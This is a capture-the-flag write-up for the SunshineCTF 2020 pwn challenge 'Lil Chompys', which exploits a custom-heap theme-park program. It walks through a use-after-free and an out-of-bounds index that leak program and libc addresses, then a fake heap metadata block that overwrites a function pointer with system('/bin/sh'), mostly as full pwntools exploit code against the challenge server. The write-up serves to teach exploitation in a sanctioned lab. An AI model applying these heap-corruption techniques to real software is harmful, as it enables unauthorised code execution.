## Overview
Featuring custom heap management, this Pwn challenge lets us embark on a quest to hack into a CLI theme park designer to free the alligator Lil Chompys from the clutches of BSides Orlando.We are given the binary together with its c source code, containing the application as well as a custom heap implementation.
## A theme park plannerFirst off, the program presents us with a password check. Looking at the source code reveals...
```cint main(void) {	printf("Official BSides Orlando Theme Park Designer Terminal\n");
	printf("Enter password:\n");
	[...]
	if(strcmp(password, "lilChompy2020!") != 0) {		exit(-1);	}```
Well, this was uneventful. We now know the password, `lilChompy2020!`.
After entering the correct password, the program allows us to save up to 20 attractions, each having a type (integer between 0 and 8) and a name with up to 50 characters. Attractions and names are stored on the heap:
```cAttraction* attractions[20];
[...]
typedef struct Attraction {	FunKind /*= int*/ kind;	char* name;} Attraction;
[...]
void addAttraction(void) {	[...]
	Attraction* fun = cg_malloc(sizeof(*fun));
	[...]
	char* funName = cg_malloc(size);	[...]	fun->name = funName;
	attractions[funIndex] = fun;}```
While looking for potential vulnerabilities, one function immediately stands out:
```cvoid renameAttraction() {	printf("Enter the lot number of the amusement to rename:\n");
	unsigned lot = pickLot();	Attraction* fun = attractions[lot];
	[...]
	cg_free(fun->name);
	printf("Enter a new name for this attraction:\n");
	unsigned size;	char* newName = getLine(&size);	if(*newName == '\0') {		printf("Attraction name must not be empty!\n");		return;	}
	char* funName = cg_malloc(size);	memcpy(funName, newName, size);	fun->name = funName;}```
The name is freed immediately. If we then enter an empty string as the new name, the function returns and that reference is kept.
## To The Heap
Fortunately, the file `heap_internal.h` contains some high-level explanations of how the heap works. Key points for now: when a new block is requested, the system tries to find the smallest free space to accommodate it. At the start, memory regions are allocated consecutively.
When an attraction is created, the data on the heap looks as follows:
![heap with single attraction](https://w0y.at/images/sunshinectf2020/lil_chompys/heap1.png)
Data is managed in chunks of 16 bytes each. Each allocation included a 16 byte block for metadata, followed by the actual contents.When we try to rename an attraction with an empty string, the memory management forgets about the name block.
![heap after free](https://w0y.at/images/sunshinectf2020/lil_chompys/heap2.png){ width=60% }
The heap management prevents double-frees, but we can create a new attraction:
![heap with interlaced attractions](https://w0y.at/images/sunshinectf2020/lil_chompys/heap3.png)
Now, we can modify the name of the first attraction. If the new name does not fill more blocks than the old one, doing so will free the second block, immediately re-allocate it and copy the new name over. Thankfully, null bytes are not appended.This basically gives us complete control over the `Attraction` struct of the second attraction.
## Leaking Things
How can this be used to leak useful information? Overwriting the name pointer does not really make sense: fully overwriting it is not possible useful of address randomization, and partially overwriting it does not allow us to break out of the heap.Thankfully, overwriting the `kind` can trigger another vulnerability:
```cstatic const char* funToString[] = {	"empty lot",	"roller coaster",	"water ride",	"carnival ride",	"skill game",	"arcade game",	"live show",	"haunted house",	"alligator pit",};
void viewPark(void) {	[...]		char* name = attractions[i]->name;		char* kindString = funToString[attractions[i]->kind];
		printf("Lot #%u: %s (%s)\n", i + 1, name, kindString);	[...]}```
This function does not check any bounds on `kind`! This allows us to fill the `kindString` address with pretty much any other quadword from the application's address space. Analyzing a memory dump from gdb reveals that there exists a pointer pointing at itself at an offset of `-11 * 8` bytes from `funToString`.Putting this together gives us a way to leak the program's address space:
```python#!/usr/bin/env python3from pwn import *
p = remote("chal.2020.sunshinectf.org", 20003)
p.sendline('lilChompy2020!')  # password
p.sendline(b'2')    # create attraction (=> #1) ...p.sendline(b'3')    # ... of type 3p.sendline(b'AAAA') # ... with name "AAAA"
p.sendline(b'4')    # rename ...p.sendline(b'1')    # ... attraction #1p.sendline(b'')     # ... to ""
p.sendline(b'2')    # create attraction (=> #2) ...p.sendline(b'3')    # ... of type 3p.sendline(b'AAAA') # ... with name "AAAA"
# calculate offset_index_to_addgdb_self_pointer =  0x555555558008gdb_address_space = 0x555555554000gdb_fun_to_string = 0x555555558060offset_index_to_add = (gdb_self_pointer - gdb_fun_to_string) // 8# => offset_index_to_add == -11
p.sendline(b'4')    # rename ...p.sendline(b'1')    # ... attraction #1p.sendline(p32(offset_index_to_add, sign=True))     # ... and overwrite the kind of #2
p.sendline(b'1')    # print parkp.recvuntil(b'Lot #2: AAAA (')
line = p.recvline()[:-2]  # delete \n and closing bracewhile len(line) < 8:    line = line + b'\0'
address = u64(line)
program_address_space = address - (gdb_self_pointer - gdb_address_space)
print(hex(address))print(hex(program_address_space))```
Leaking the address of libc can now be done by overwriting `Attraction::name` with a GOT address:
```python# continuing
gdb_puts_got = 0x555555557f88leaked_puts_got = program_address_space + (gdb_puts_got - gdb_address_space)
p.sendline(b'4')    # rename ...p.sendline(b'1')    # ... attraction #1p.sendline(    p32(0x1) +      # ... overwrite kind of #2 with 1    p32(0x0) +      # ... padding    p64(leaked_puts_got)  # ... overwrite the name pointer of #2)
p.sendline(b'1') # print park
p.recvuntil(b'Lot #2: ')
line = p.recvline().split(b' (roller coaster)')[0]while len(line) < 8:    line = line + b'\0'
address = u64(line)
libc = ELF('libc-2.23.so')libc_address_space = address - libc.symbols['puts']
print(hex(address))print(hex(libc_address_space))```
## Pwning Things
It stands to reason that we can somehow abuse the bugs to write to arbitrary memory. Thankfully the program already provides a nice sink for this:
```cstatic OnSubmitFunc* submitFuncs[] = {	&onSubmitRollerCoaster,	&onSubmitWaterRide,	&onSubmitCarnivalRide,	&onSubmitSkillGame,	&onSubmitArcadeGame,	&onSubmitLiveShow,	&onSubmitHauntedHouse,	&onSubmitAlligatorPit,};
[...]
void submitPark(void) {	printf("The theme park design has been submitted! Let's take a look at the expected park experience.\n");
	unsigned i;	for(i = 0; i < ARRAYCOUNT(attractions); i++) {		if(attractions[i] != NULL) {			FunKind kind = attractions[i]->kind;			if(FUN_MIN <= kind && kind <= FUN_MAX) {				submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1);			}		}	}
	printf("Let's hope this one's a winner! We'll begin construction soon!\n");	exit(0);}```
If we can manipulate the function pointers in `submitFuncs`, calling `submitPark` will execute an arbitrary function via `submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1);`, and even use the user-provided name as an argument.
One trick to do this: manipulate the `name` pointer of an attraction (as we have done before), and then rename that attraction to free the pointer. This will call `cg_free(...)` with arbitrary input.
To build the actual exploit, we need to consider how the heap management works internally. There are actually two data structures: the blocks of meta-information store the size of the previous and current block, which is used to form a linked list. Furthermore, the blocks of metadata contain two pointers each, used to make up the *free tree*, a binary tree for free blocks sorted by the size.
More concretely, each 16 byte metadata block includes:
- A `44` bit encoded pointer to the left child in the *free tree* (if the block is currently free)- `1` unused bit- `19` bits containing the size of the previous block, used for the *linked list*- A `44` bit encoded pointer to the right child in the *free tree* (if the block is currently free)- `1` bit indicating whether the block is in use- `19` bits ocntaining the size of the next block, used for the *linked list*
Freeing a block adds it to the free tree and makes it available for future allocations. This means we could write to `submitFuncs` by creating a fake metadata block before it, free that, and let the heap management allocate memory from there.
The memory around `submitFuncs` looks like this:
```0x4020: char[50] main::password  <-- password from the beginning0x4060: char*[9] funToString     <-- should be preserved somewhat0x40c0: void*[8] submitFuncs     <-- target to over0x4120: char[50] getLine::line   <-- buffer for user input```
And here we are, back at the pesky password from the start.
Replace this:
```pythonp.sendline('lilChompy2020!')  # password```
... by ...
```python# encodes an 8 byte block of metadata, setting:# - the 44 bit pointer equal to 0# - the 1 bit equal to in_use_bit# - the 19 size bits (measured in 16 byte blocks) to sizedef encode_8byte_metadata(in_use_bit, size):    value = 0x7ffff    if in_use_bit:        value += 0x80000    value -= size    return value
p.sendline(    b'lilChompy2020!\0\0' +                       # password    p64(encode_8byte_metadata(False, 0x7fffe)) +  # first 8 bytes    p64(encode_8byte_metadata(True, 14))          # last 8 bytes)```
We need to be careful with the metadata, since `cg_free()` will also try to consolidate free blocks with neighbors from the linked list.Looking at the implementation, one can see that this process can be stopped by setting the size to an absurdl number (e.g. `0x7fffe`), which is done here for the size of the previous block. Unfortunately, this does not work for the "next" block, since such a high value here would disrupt the free tree and cause a segfault as soon as memory is allocated.One way to get past this is creating a successor metadata block and storing it in the `getLine::line` buffer.
```python# explained laterfor i in range(5):    p.sendline(b'2')  # create attraction (=> #1) ...    p.sendline(b'3')  # ... of type 3    p.sendline(b'dummy')  # ... with name "dummy"
gdb_password = 0x555555558020leaked_password = gdb_password - gdb_address_space + program_address_spaceleaked_password_meta = leaked_password + 0x20 # the 16 byte block after the metadata in the passwor
p.sendline(b'4')    # rename ...p.sendline(b'1')    # ... attraction #1p.sendline(         # ... and set metadata for #2 to:    p32(3) +                     # attraction type 3    p32(0) +                     # padding    p64(leaked_password_meta)    # pointer to just after the fake metadata block)```
The new name for attraction 1 serves two purposes: the `p64` contains a reference to the fake block to be freed. And, by a fortunate coincidence, when the name is interpreted as a metadata block, that address sets the used bit to 1 (at least 50% of the time). The fake metadata block actually points at this new name as a successor block, and the used bit ensures that the consolidation procedure stops here.
Now we need to demolish attraction 2:
```pythonp.sendline(b'3')  # demolish ...p.sendline(b'2')  # ... attraction 2```
This frees our fake block and lets the heap management allocate memory from the program's address space.
Now we need to create new attractions to add padding data and overwrite the correct function pointer with one to `system()`. This was done by trial and error, and the dummy attractions from before enable a useful trick: by freeing only the names from those structures, we can create some free space for the the `Attraction` structs. This reduces the amount of metadata written to the program's address space and makes it easier to preserve useful data and prevent segfaults.
```pythonp.sendline(b'4')    # rename ...p.sendline(b'4')    # ... attraction 4p.sendline(b'')
p.sendline(b'2')    # create attractionp.sendline(b'3')p.sendline(b'B'*24)
p.sendline(b'4')    # rename ...p.sendline(b'5')    # ... attraction 4p.sendline(b'')
p.sendline(b'2')    # create attractionp.sendline(b'3')p.sendline(b'B'*8 + p64(leaked_password) + b'B'*24) # let funToString[3] point to a valid address
p.sendline(b'2')    # create attractionp.sendline(b'3')# let submitFuncs[2] (used for attractions of type 3) point to libc system()p.sendline(b'B'*32 + p64(libc_address_space + libc.symbols['system']))```
And now, just rename the first attraction to `/bin/sh`, and submit the park. This will execute `system("/bin/sh")`:
```pythonp.sendline(b'4')    # rename ...p.sendline(b'1')    # ... attraction 1p.sendline(b'/bin/sh\0')
p.sendline(b'5')		# submit park
sleep(1)p.sendline(b'cat flag.txt')p.interactive()```
For the [full exploit, see here](https://w0y.at/images/sunshinectf2020/lil_chompys/lil_chompys_exploit_full.py).